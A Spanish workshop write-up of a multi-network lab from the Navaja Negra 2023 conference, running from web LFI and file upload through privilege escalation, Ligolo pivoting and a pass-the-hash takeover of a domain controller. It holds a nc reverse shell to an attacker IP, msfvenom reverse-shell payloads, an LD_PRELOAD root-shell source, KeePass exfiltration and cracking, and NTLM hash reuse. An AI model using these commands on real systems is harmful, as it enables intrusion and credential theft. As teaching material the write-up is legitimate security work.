Contexto

Resolución detallada del taller que impartí en la última edición del congreso Navaja Negra.

Nos enfrentamos a un entorno formado por múltiples máquinas en distintas redes donde aplicaremos diferentes técnicas de elevación de privilegios, enumeración, post-explotación, AD, pivoting… El esquema del laboratorio es el siguiente:

El vector de entrada al sistema será el sitio Web del congreso Navaja Negra, navajanegra.com. Comenzamos.

Dominio “navajanegra.com”

Enumeración

Enumeración de puertos

Vamos a comenzar enumerando los servicios que tiene abiertos el servidor donde se encuentra el sitio Web.

nmap -p- --open -Pn --min-rate 500 navajanegra.com

Tres puertos abietos: 22, 80 y 10000. El siguiente paso será la enumeración detallada de estos tres servicios.

nmap -p22,80,10000 -sVC -Pn navajanegra.com

VERSIONES

• Puerto 22 > SSH > OpenSSH 7.6
• Puerto 80 > HTTP > Apache httpd 2.4.29
• Puerto 10000 > HTTP > MiniServ 1.890

Enumeración Web

El primer objetivo del laboratorio está ejecutando un puerto 80. Veamos su contenido.

Parece el sitio Web del congreso de Ciberseguridad “Navaja Negra”. Vamos a enumerar por un lado vectores vulnerables de acceso al sistema, y por otro, directorios y archivos que podemos encontrar en el sistema.

Enumeración de archivos y directorios

dirsearch -u http://navajanegra.com -i 200,301

Encontramos dos cosas interesantes, por un lado un directorio /uploads, que nos puede indicar que existe una carga de archivos y por otro lado, un archivo “db” que puede ser algún tipo de base de datos con credenciales del sistema. Vamos a descargar este archivo para ver su contenido.

sqlitebrowser db

Encontramos múltiples credenciales de usuarios que pueden ser válidos en el sistema. Con estas credenciales vamos a confeccionar los diccionarios de usernames y passwords que iremos completando a lo largo del laboratorio.

Enumeración de vectores vulnerables

Una vez completada la enumeración de archivos y directorios, vamos a comenzar a buscar posibles vectores vulnerables en el sitio Web.

Como bien suponíamos durante la enumeración de directorios, existe una función para cargar archivos en el sistema. Posible vector para cargar reverse shells. Seguimos enumerando.

Si analizamos la URL, vemos la forma que utiliza el servidor Web para cargar las diferentes páginas del sitio. Esto puede sugerir que estamos ante una vulnerabilidad de LFI pero debemos comprobarlo.

Estamos en lo cierto, el sitio Web presenta una vulnerabilidad de LFI que posteriormente, en la fase de explotación, trataremos de utilizar para acceder al sistema.

Explotación

Existen múltiples vectores que nos van a permitir acceder al sistema. Y, vamos a tratar de acceder al sistema utilizando cada uno de ellos.

Método 1 (ssh)

Disponemos de diccionarios con credenciales del sistema y el objetivo tiene disponible el puerto 22. Vamos a comprobar si podemos utilizar este vector para acceder al sistema.

hydra -L usernames.txt -P passwords.txt navajanegra.com ssh

Obtenemos las credenciales navajanegra:navaja2023. Vamos a utilizar estas credenciales para acceder al sistema.

Obtenemos acceso como usuario navajanegra.

Método 2 (RFI)

Otro posible vector para acceder al sistema que encontramos es una función que tiene el sistema para enviar CFP. Vamos a cargar un archivo malicioso para tratar de ejecutarlo en el sistema y obtener conexión remota. El sitio Web está construido en PHP así que vamos a cargar una reverse PHP.  Modificamos la reverse para adaptarla a nuestra dirección IP y puerto de escucha.

Y la cargamos en el sistema.

Ahora, por un lado, configuramos un oyente nc en el puerto 1234 y por otro, ejecutamos el archivo cargado desde el directorio /uploads que descubrimos en la fase de enumeración de directorios.

Volvemos a obtener acceso al sistema aprovechando la posibilidad de cargar archivos maliciosos.

Método 3 (LFI)

Durante la enumeración de posibles vectores vulnerables del sitio Web, encontrábamos una vulnerabilidad de LFI. Esta vulnerabilidad podemos aprovecharla de varias formas, en función de cómo estén configurados los permisos del sistema. Podemos enumerar archivos del sistema que puedan contener claves privadas, credenciales… y por otro lado, podemos aprovechar esta vulnerabilidad de LFI para derivar en una vulnerabilidad de RCE a través de un ataque de “log poisoning”. Vamos a ello.

Comenzamos enumerando posibles archivos comprometidos del sistema. En la enumeración inicial encontrábamos un usuario “navajanegra” y el sistema está ejecutando un servicio SSH, por lo que vamos a tratar de encontrar la clave id_rsa para este usuario.

Podemos acceder a la clave id_rsa del usuario “navajanegra”. La descargamos y tratamos de acceder al sistema con ella.

Y volvemos a obtener acceso al sistema.

Ahora aprovechando también esta vulnerabilidad de LFI, vamos a tratar de convertir esta vulnerabilidad en RCE utilizando el ataque de log poisoning. Vamos a ello.

Primero, comprobamos si podemos acceder a los archivos de logs del servidor Apache.

Podemos acceder a los archivos de logs del sistema. Ahora vamos a tratar de envenenar este archivo. Para ello, vamos a utilizar la herramienta BurpSuite.

Podemos ejecutar comandos en el objetivo. Vamos a aprovechar esto para tratar de ejecutar una reverse shell hacia nuestro sistema de ataque.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.10.6 1234 >/tmp/f

Configuramos un oyente nc en el puerto 1234 donde recibiremos la conexión.

Y volveremos a obtener conexión en la máquina objetivo aprovechando la vulnerabilidad de LFI para ejecutar comandos remotos.

Pivotando de www-data a navajanegra

En dos de las casos de acceso al sistema que vimos anteriormente, accedemos como www-data al sistema, lo cual nos deja muy capados a la hora de elevar privilegios. Debemos pivotar a un usuario del sistema antes de comenzar el proceso de elevación de privilegios.
Enumeramos archivos interesantes a los que podemos tener acceso como www-data.

Parece que podemos acceder a la clave id_rsa del usuario navajanegra. Vamos a comprobar si podemos realizar la conexión con esta clave privada.

Obtenemos acceso al sistema como navajanegra.

Elevación de privilegios

Método 1 (LD_PRELOAD)

Una vez tenemos acceso al sistema como usuario navajanegra, vamos a comenzar el proceso de elevación de privilegios. Comenzamos enumerando aquellos ejecutables que puede utilizar el usuario navajanegra como usuario de máximos privilegios con necesidad de contraseña.

sudo -l

Previamente, vamos a configurar una interfaz interactiva.

python -c 'import pty;pty.spawn("/bin/bash")'

Existen dos formas de elevar privilegios: a través de binario ejecutable “find” y aprovechando la variable LD_PRELOAD. Vamos a ello.
Para aprovechar la presencia de la variable LD_PRELAOD, debemos crear un archivo shell.c en nuestra máquina de ataque que posteriormente, enviaremos al objetivo. El código es el siguiente.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

A continuación, lo compilamos de la siguiente manera.

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

El archivo resultando lo enviamos a la máquina objetivo utilizando un servidor HTTP Python.

python3 -m http.server 8081

Una vez transferido el archivo al directorio /tmp del objetivo, ejecutamos el siguiente comando:

sudo LD_PRELOAD=/tmp/shell.so find
id
whoami

Y obtendríamos acceso con privilegios máximos en el servidor Web

Método 2 (Vulnerabilidad en miniServ 1.890)

En el puerto 10000 de la máquina objetivo se está ejecutando un servicio miniServ 1.890 que presenta una vulnerabilidad de RCE que nos permite acceder al sistema con privilegios máximos. Veámoslo.

El exploit CVE-2019-15107.py nos permitirá acceder al sistema.

A continuación, configuramos un oyente nc en el puerto 1234 y damos enter.

Y ya habremos accedido al sistema con privilegios máximos.

Post-explotación

Una vez hemos obtenido privilegios máximos en el sistema, vamos a enumerar credenciales, redes a las que tiene acceso este sistema…

El sistema tiene acceso a dos redes: 192.168.10./24 que es la red a la que tenemos acceso desde nuestra máquina de ataque y la red 10.0.2.0/24, que es la nueva red descubierta.
La búsqueda de credenciales del sistema no aporta ningún resultado.

Pivotando al segmento de red 10.0.2.0/24

Durante la fase de post-explotación hemos descubierto que el servidor Web tiene conexión con dos segmentos de red: 192.168.10.0/24 y 10.0.2.0/24. Al primero de ellos, tenemos conexión desde nuestra máquina de ataque pero al segundo no, por lo que deberemos realizar un proceso de pivoting entre redes. Para ello, vamos a utilizar la herramienta LigoloNG. Ligolo es una herramienta que crear conexiones entre segmentos de red a través de VPN, por lo que ya no es necesario el de proxychains, podemos hacer enumeraciones UDP, tenemos menos perdida de velocidad de enumeración al pivotar entre los diversos segmentos. Tampoco es necesario obtener privilegios máximos en el sistema de pivote para poder saltar de un segmento a otro.
Vamos a configurar LigoloNG.
Configuramos la interfaz tun necesaria para poder trabajar con LigoloNG.

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up

Posteriormente, podemos iniciar el servidor en nuestra máquina de ataque de la siguiente forma.

./proxy -selfcert 

Por otro lado, en el equipo de pivote debemos enviar un binario agent, en este caso para Linux. Lo enviamos utilizando un servidor HTTP con Python.

Damos permisos de ejecución y ejecutamos de la siguiente forma:

chmod +x agent
./agent --connect 192.168.10.6:11601 -ignore-cert

De esta forma, ya tendremos conexión en el nuevo segmento de red desde nuestra máquina de ataque.

Ahora debemos añadir el nuevo segmento de red a nuestra tabla de enrutamiento.

Y a partir de este momento podemos comenzar a enumerar el nuevo segmento de red.

Enumeración de segmento 10.0.2.0/24

Una vez hemos configurado Ligolo, comenzamos a enumerar este segmento para comprobar que máquinas tienen conexión en él.

Recordando que la IP 10.0.2.5 es el servidor Web que hemos utilizado de punto de pivote, hemos descubierto dos nuevos equipos: 10.0.2.4 y 10.0.2.6. Podemos comenzar con la enumeración de cada uno de los equipos.

10.0.2.4

Enumeración

Enumeración de puertos

nmap -p22 -sVC -Pn -n 10.0.2.4

Como comprobamos anteriormente, el equipo con IP 10.0.2.4 tiene únicamente el puerto 22 abierto.

Explotación

Durante la enumeración, determinamos que este equipo solo tiene abierto el puerto 22. De la enumeración del servidor Web pudimos extraer una serie de usuarios y contraseñas. Vamos a utilizarlas para tratar de acceder al sistema.

hydra -L usernames.txt -P passwords.txt 10.0.2.4 ssh

Determinamos que existe el usuario linda en el sistema y que su contraseña es SuperSecret! Vamos a tratar de acceder al sistema a través de SSH

ssh linda@10.0.2.4

Accedemos al sistema como usuario linda. Próxima parada, la elevación de privilegios.

Elevación de privilegios

El usuario con el que tenemos acceso al sistema no puede ejecutar comandos como sudo en el sistema. Necesitamos otro vector de elevación de privilegios.

Otro posible vector de elevación de privilegios son los binarios con permisos SUID. Vamos a enumerarlos.

find / -perm -u=s -type f 2>/dev/null

Encontramos un binario que nos va a permitir elevar privilegios. Comprobamos el sitio Web GTFOBins para ver como aprovechar este vector para elevar privilegios.

Obtenemos acceso al sistema como usuario con privilegios máximos.

Post-explotación

Comenzamos la fase de post-explotación donde trataremos de encontrar las redes a las que esta máquina tiene acceso, credenciales y otros archivos de interés.

Vemos que esta máquina tiene acceso a la red 10.0.2.0/24 (red conocida) y a la red 172.25.10.0/24 (red que hemos descubierto).
No encontramos archivos de interés en la fase de post-explotación.

10.0.2.6

Enumeración

Enumeración de puertos

Vamos a enumerar de forma detallada los puertos abiertos de este sistema.

nmap -p21,80,135,139,445,3389,9099,9999 -sVC -Pn 10.0.2.6

VERSIONES

• Puerto 21 > FTP > Microsoft FTP
• Puerto 80 > HTTP > Microsoft IIS httpd 10.0
• Puerto 135 > MSRPC Microsoft Windows RPC
• Puerto 139 > NETBIOS- SSN
• Puerto 445 > SMB
• Puerto 3389 > RDP
• Puerto 9099 > Mobile Mouse Server

Explotación

Durante la enumeración de puerto hemos visto que en el puerto 9099 se está ejecutando un servicio Mobile Mouse Server. Vamos a tratar de buscar versiones vulnerables que nos permita acceder al sistema.
https://www.exploit-db.com/exploits/51010
Descargamos el exploit en nuestra máquina de ataque.

Y configuramos el oyente en nuestra máquina de ataque. Antes debemos configurar el reenvío del puerto 1234 en LigoloNG. También configuraremos el reenvío del puerto 8081 que utilizaremos para transferir archivos utilizando un servidor HTTP Python. Lo hacemos de la siguiente forma:

listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:1234 --tcp
listener_add --addr 0.0.0.0:8081 --to 127.0.0.1:8081 --tcp

Levantamos el servidor Python HTTP que servirá para enviar el archivo malicioso a la víctima y ejecutamos el exploit.

Y en el oyente que hemos configurado obtendremos la conexión reversa y acceso al sistema.

Elevación de privilegios

Una vez hemos obtenido al sistema, comenzamos el proceso de elevación de privilegios. Comenzamos enumerando los privilegios que dispone el usuario actual.

whoami /priv

No parece que haya ningún privilegio interesante. Seguimos enumerando. Vamos a utilizar la herramienta SharpUp.exe que nos va a permitir enumerar posibles vectores de elevación de privilegios. La enviamos al sistema objetivo utilizando un servidor HTTP configurado en el puerto en el cual tenemos configurado el reenvío de puertos.

Utilizaremos la dirección IP de la máquina que utilizaremos de punto de pivote.
Una vez transferido el archivo, ejecutamos de la siguiente forma:

SharpUp.exe audit

Encontramos el siguiente posible vector de elevación de privilegios. Vamos a tratar de ejecutarlo.
Podemos leer el mensaje “C:\Program Files\Unquoted Path Service\Common’ is modifable” lo que significa que si añadimos un ejecutable malicioso Common.exe y reiniciamos el servicio podemos obtener privilegios elevados en el sistema.
Primero, creamos el archivo malicioso.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.5 LPORT=1234 -f exe > Common.exe

Transferimos el archivo malicioso haciendo uso de un servidor HTTP Python en el puerto 8081, en el cual ya tenemos configurado el reenvío de puertos. Una vez completado el envío, reiniciamos la aplicación en el objetivo y configuramos un oyente nc en el puerto 1234 de nuestra máquina de ataque.

net start unquotedsvc

Y obtendremos conexión con privilegios elevados en nuestra máquina de ataque.

Post-explotación

Después de obtener privilegios elevados, comenzamos la fase de post-explotación donde trataremos de obtener nuevas redes donde este equipo tiene conexión y archivos que puedan contener información interesante.

Esta máquina tiene una única conexión de red.
Ahora comenzamos a enumerar archivos interesantes del sistema

Get-ChildItem -Path C:\ -Include *.kdbx,.txt,.db,.ini -File -Recurse -ErrorAction SilentlyContinue

Encontramos un archivo de keepass que puede contener contraseñas del sistema. Vamos a enviarlo a nuestra máquina de ataque utilizando el servicio de SMB. Lo hacemos de la siguiente forma:
En la máquina de ataque configuramos un servidor SMB:

impacket-smbserver share $(pwd) -smb2support

Por otro lado, configuramos el reenvío de puertos en Ligolo para el servicio SMB en el puerto 445.

listener_add --addr 0.0.0.0:445 --to 127.0.0.1:445 --tcp

En la máquina víctima ejecutamos de la siguiente forma para transferir el archivo kdbx.

copy Database.kdbx \\10.0.2.5\share\Database.kdbx

Una vez recibido el archivo en nuestra máquina de ataque, vamos a tratar de extraer información interesante de él.
Comenzamos tratando de descifrar la contraseña del archivo kdbx.

keepass2john Database.kdbx | tee hashdatabase

Debemos eliminar “Database: del hash antes de intentar descifrar”
El siguiente paso será descifrar la contraseña a partir del hash generado.

john hashdatabase --wordlist=/usr/share/wordlists/rockyou.txt

Ya tenemos la contraseña de la base de datos kdbx que es 123456789. Ahora vamos a tratar de ver que contiene. Utilizamos para ello la herramienta online https://app.keeweb.info/

Encontramos dos usuarios en la base de datos de contraseñas: linda y bill. Añadimos el usuario bill y su contraseña a nuestros diccionarios.

Pivotando al segmento de red 172.25.10.0/24

Una vez hemos tomado privilegios elevados en ambas máquinas del segmento 10.0.2.0/24, comprobamos que el equipo LinuxSysAdmin tiene acceso a un nuevo segmento de red, 172.25.10.0/24. Vamos a enviar otro agent a este equipo y lo configuraremos en este equipo de la misma forma que anteriormente.

También debemos configurar el reenvío del puerto 11601 para poder realizar la conexión a través de los diversos segmentos. También podemos configurar los puertos 1234 y 8081 para poder enviar archivos con el servidor HTTP y poder realizar las comunicaciones de las reverses shells.
Añadimos el nuevo segmento de red a la tabla de enrutamiento de nuestra máquina de ataque.

A partir de este momento, podemos comenzar a enumerar el nuevo segmento de red.

Enumerando el segmento 172.25.10.0/24

Una vez configurada la conexión de nuestra máquina de ataque con el nuevo segmento descubierto, podemos comenzar a enumerar las diferentes máquinas de esta red.

nmap 172.25.10.0/24

La dirección IP 172.25.10.7 corresponde al equipo LinuxSysAdmin, por lo que hemos descubierto un nuevo equipo en esta red, 172.25.10.6. Vamos a comenzar con la enumeración detallada de este equipo.

172.25.10.6

Comenzamos a escanear de forma detallada los puertos disponibles de este equipo.

nmap -p21,22,80 -sVC 172.25.10.6

VERSIONES

• Puerto 21 > FTP > vsftpd 2.0.8 (anonymous access)
• Puerto 22 > SSH > OpenSSH 7.6
• Puerto 80 > HTTP > Apache httpd 2.4.49

Enumeración FTP

Tras la enumeración de servicios abiertos, vemos que podemos acceder al servidor FTP sin necesidad de contraseña y que en su interior existe una clave privada id_rsa. Vamos a descargarla.

Explotación

Descargamos la clave privada del servidor FTP y damos privilegios .

chmod 600 id_rsa

Accedemos al sistema utilizando la clave privada y el servicio SSH.

ssh backupserver@172.25.10.6 -i id_rsa

Elevación de privilegios

Una vez hemos accedido al sistema, vamos a tratar de obtener privilegios máximos dentro del sistema. En esta ocasión, vamos a enumerar otro vector de elevación de privilegios que no habíamos utilizado a lo largo del laboratorio. Este vector de elevación de privilegios, son las capabilities.

getcap -r / 2>/dev/null

Vamos a comprobar como podemos elevar privilegios aprovechando esto.

La máquina está ejecutando python3 por lo que como se indica, debemos actualizar el comando a “:py3”

vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Y obtenemos privilegios elevados en el servidor backup.

Post-explotación

Una vez obtenidos privilegios elevados en el servidor backupserver, vamos a tratar de obtener información que nos permita avanzar en la resolución del laboratorio.

Encontramos que el servidor de backup tiene conexión a un segundo segmento de red, 172.16.10.0/24.
Vamos a buscar archivos con información interesante en el sistema.

En el directorio backupserver, encontramos una carpeta credentials_backup con dos archivos, uno parece de base de datos y el otro, un archivo de keepass. Descargamos ambos en nuestra máquina de ataque de la siguiente manera:
En la máquina de ataque ejecutamos:

nc -lvp 1234 > db

En la máquina objetivo:

nc 172.25.10.7 1234 -w 3 < db

Y ya tendremos el archivo en nuestra máquina de ataque. Hacemos lo mismo para el otro archivo.
En el archivo db, encontramos la misma información que encontrábamos en el archivo db de la enumeración del servidor Web.

Vamos ahora con el archivo kdbx. Vamos a tratar de descifrar la contraseña de la misma forma que lo hicimos anteriormente.

keepass2john passwords.kdbx
john hashkeepass --wordlist=/usr/share/wordlists/rockyou.txt

Encontramos que la contraseña del archivo kdbx encontrado es “qwerty” Vamos a enumerar si contiene credenciales.

Encontramos las credenciales de usuarios que ya hemos visto durante los procesos de enumeración llevados a cabo en el laboratorio.
Seguimos enumerando otros directorios del sistema.
Encontramos otro directorio que contiene lo que parece software instalado en dispositivos de la red. Uno de los ejecutables parece ser el instalable de Mobile Mouse Server, que ya hemos vulnerado en el sistema y por otro lado, “minimouse” que puede ser otro software instalado en algún equipo.

Pivotando al segmento de red 172.16.10.0/24

Tras elevar privilegios en la máquina backupserver y realizar el proceso de post-explotación, comprobamos que este equipo tiene conexión con dos redes, 172.25.10.0/24 y 172.16.10.0/24 (nueva red descubierta). Volvemos a proceder de la misma forma que anteriormente, cargamos un agent en el equipo objetivo que nos va a servir de pivote, configuramos los reenvíos de puertos y ejecutamos de la siguiente manera.
En la máquina objetivo:

./agent --connect 172.25.10.7:11601 -ignore-cert

En la máquina de ataque:

Iniciamos la conexión con el nuevo segmento de red y configuramos los diferentes reenvíos de puertos necesarios en caso de transferencia de archivos o reverse shells. También debemos guardar el nuevo segmento descubierto en la tabla de enrutamiento de nuestra máquina de ataque.

A partir de este momento, ya podemos comenzar a enumerar equipos del nuevo segmento de red.

Enumerando el segmento 172.16.10.0/24

Una vez configurado LigoloNG para conectar nuestra máquina de ataque al nuevo segmento de red y hemos configurado los reenvíos de puertos, vamos a comenzar la enumeración del nuevo segmento de red.

Descubrimos un nuevo equipo en esta red, 172.16.10.6.

172.16.10.6

Enumeración

Enumeración de puertos

Vamos a enumerar los puertos que tiene abiertos el nuevo equipo descubierto.

nmap -p- --open -Pn --min-rate 500 172.16.10.6

Una vez determinamos que puertos están abiertos, vamos a enumerar de forma detallada las versiones ejecutadas detrás de estos servicios.

nmap -p135,139,445,5040,7680,8039 -sVC 172.16.10.6

VERSIONES

• Puerto 135 > msrpc > Microsoft Windows RPC
• Puerto 139 > netbios-ssn > Microsoft Windows netbios-ssn
• Puerto 445 > SMB
• Puerto 5040
• Puerto 7680
• Puerto 8039

Explotación

Existen un puerto 8039 que no sabemos que servicio está ejecutando. Recordamos que durante el proceso de post-explotación del servidor de backup hemos encontramos un instalable de minimouse. Vamos a buscar información sobre él.
Encontramos una posible coincidencia entre el puerto 8039 y la aplicación minimouse, además de un exploit con el que podemos tratar de acceder al sistema aprovechando esto.
https://www.exploit-db.com/exploits/49743

Para la ejecución, necesitamos la IP del objetivo, un archivo malicioso y la IP del servidor HTTP desde el que se va a enviar el payload malicioso.
Comenzamos preparando el payload malicioso.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.10.5 LPORT=1234 -f exe > Shell.exe

Posteriormente, vamos a modificar el exploit para adaptar el puerto de transferencia de archivos al 8081 donde tenemos configurado el reenvío de puertos.

Además de cambiar certutil por curl para poder enviar el archivo al objetivo.

El siguiente paso es configurar un oyente nc en el puerto 1234 en nuestra máquina de ataque y ejecutar el exploit.

Ya tenemos acceso a la máquina objetivo con privilegios de usuario. El siguiente paso será la elevación de privilegios.

Elevación de privilegios

Tras acceder al sistema, vamos a comenzar a enumerar posibles vectores de elevación de privilegios en el sistema. Comenzaremos por los privilegios que tiene el usuario actual.

No parece que este usuario tenga permisos que nos permitan elevar privilegios de esta manera. Sigamos enumerando.
Podemos utilizar las herramientas winPEAS o SharpUp para tratar de encontrar posibles vectores de elevación de privilegios.

Parece que el usuario r.rodenas tiene el privilegio AlwaysInstallElevated. Esto nos puede permitir elevar privilegios. Vamos a hacerlo de la siguiente manera.
Creamos un archivo malicioso msi.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.10.5 LPORT=1234 -f msi > shell.msi

Copiamos el archivo malicioso generado al directorio C:\Temp del equipo objetivo y ejecutamos de la siguiente manera. Al mismo tiempo, debemos configurar un oyente nc en el puerto 1234.

msiexec /quit /qn /i shell.msi

Y obtendremos conexión con el objetivo en nuestra máquina de ataque, y además, con privilegios elevados.

Post-explotación

Una vez hemos obtenido privilegios elevados en el sistema, vamos a comenzar el proceso de post-explotación donde vamos a tratar de encontrar hashes, credenciales, conexiones de este sistema en otras redes…
Comenzamos por las conexiones de este equipo.

Podemos ver varias cosas interesantes. Por un lado, vemos que este equipo pertenece a un entorno de AD (navajanegra.local) y por otro, que tiene dos interfaces de red: 172.16.10.0/24 (conocida) y 10.120.116.0/24 (nueva red descubierta).
Vamos con la enumeración de hashes y credenciales. Para ello, vamos a utilizar la herramienta mimikatz, para volcar toda esta información de interés.
Con mimikatz, obtenemos el hash NTLM para el usuario r.rodenas

Pivotando al segmento de red 10.120.116.0/24

Una vez realizada la elevación de privilegios en Workstation-01 y realizado el proceso de post-explotación, vamos a pivotar al nuevo segmento de red que hemos encontrado, 10.120.116.0/24. La forma de realizar el pivote al nuevo segmento es la misma que hemos realizado hasta ahora. Transferimos el agent.exe desde la máquina de ataque al objetivo y lo configuramos.

agent.exe --connect 172.16.10.5:11601 -ignore-cert

En nuestra máquina de ataque configuramos el nuevo segmento encontrado, el reenvío de puertos y añadimos el nuevo segmento a la tabla de enrutamiento.

Y ya podremos comenzar la enumeración del nuevo segmento de red.

Enumerando el segmento 10.120.116.0/24

Una vez que hemos configurado Ligolo y que tenemos acceso al nuevo segmento de red, vamos a comenzar el proceso de enumeración para determinar los equipos que vamos a existen en esta red.

nmap -Pn 10.120.116.0/24

Obtenemos un único equipo en el nuevo segmento de red encontrado. Ya podemos comenzar el proceso de enumeración del nuevo sistema encontrado.

10.120.116.75

Enumeración

Enumeración de puertos

Vamos a enumerar los servicios disponibles en el nuevo equipo descubierto en este segmento de red. Comenzamos con la enumeración rápida de servicios.

nmap -p- --open -Pn --min-rate 500 10.120.116.75

Una vez hemos completado la enumeración rápida de los servicios disponibles, vamos a enumerar de forma detallada que se está ejecutando tras cada puerto abierto.

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5357,5985 -sVC -Pn -n 10.120.116.75

Explotación

En la máquina objetivo existen varios servicios a los que con credenciales nos podremos conectar. Vamos a enumerar si las credenciales que obtuvimos en la máquina anterior son válidas para alguno de los servicios.

crackmapexec smb 10.120.116.75 -u r.rodenas -H 2ad28bfcbf65dd3e46f6776dfc0fa5d2

Obtenemos un resultado positivo. Esto nos va a permitir acceder a este equipo con una shell con privilegios elevados. Y no solo eso, vamos a poder volcar los hashes almacenas en SAM de la siguiente forma:

crackmapexec smb 10.120.116.75 -u r.rodenas -H 2ad28bfcbf65dd3e46f6776dfc0fa5d2 --sam

Obtenemos el hash del usuario Administrator en lo que parece que es el Domain Controller. Vamos a conectarnos con las credenciales del usuario Administrator.

impacket-psexec -hashes 00000000000000000000000000000000:b820c1a62cb8af5554962b64efff2b88 navajanegra.local/administrator@10.120.116.75

Obtenemos privilegios elevados y acceso al Domain Controller como usuario Administrator.

Y ya estaría completado el laboratorio del Taller que impartí en el Congreso de Navaja Negra 2023.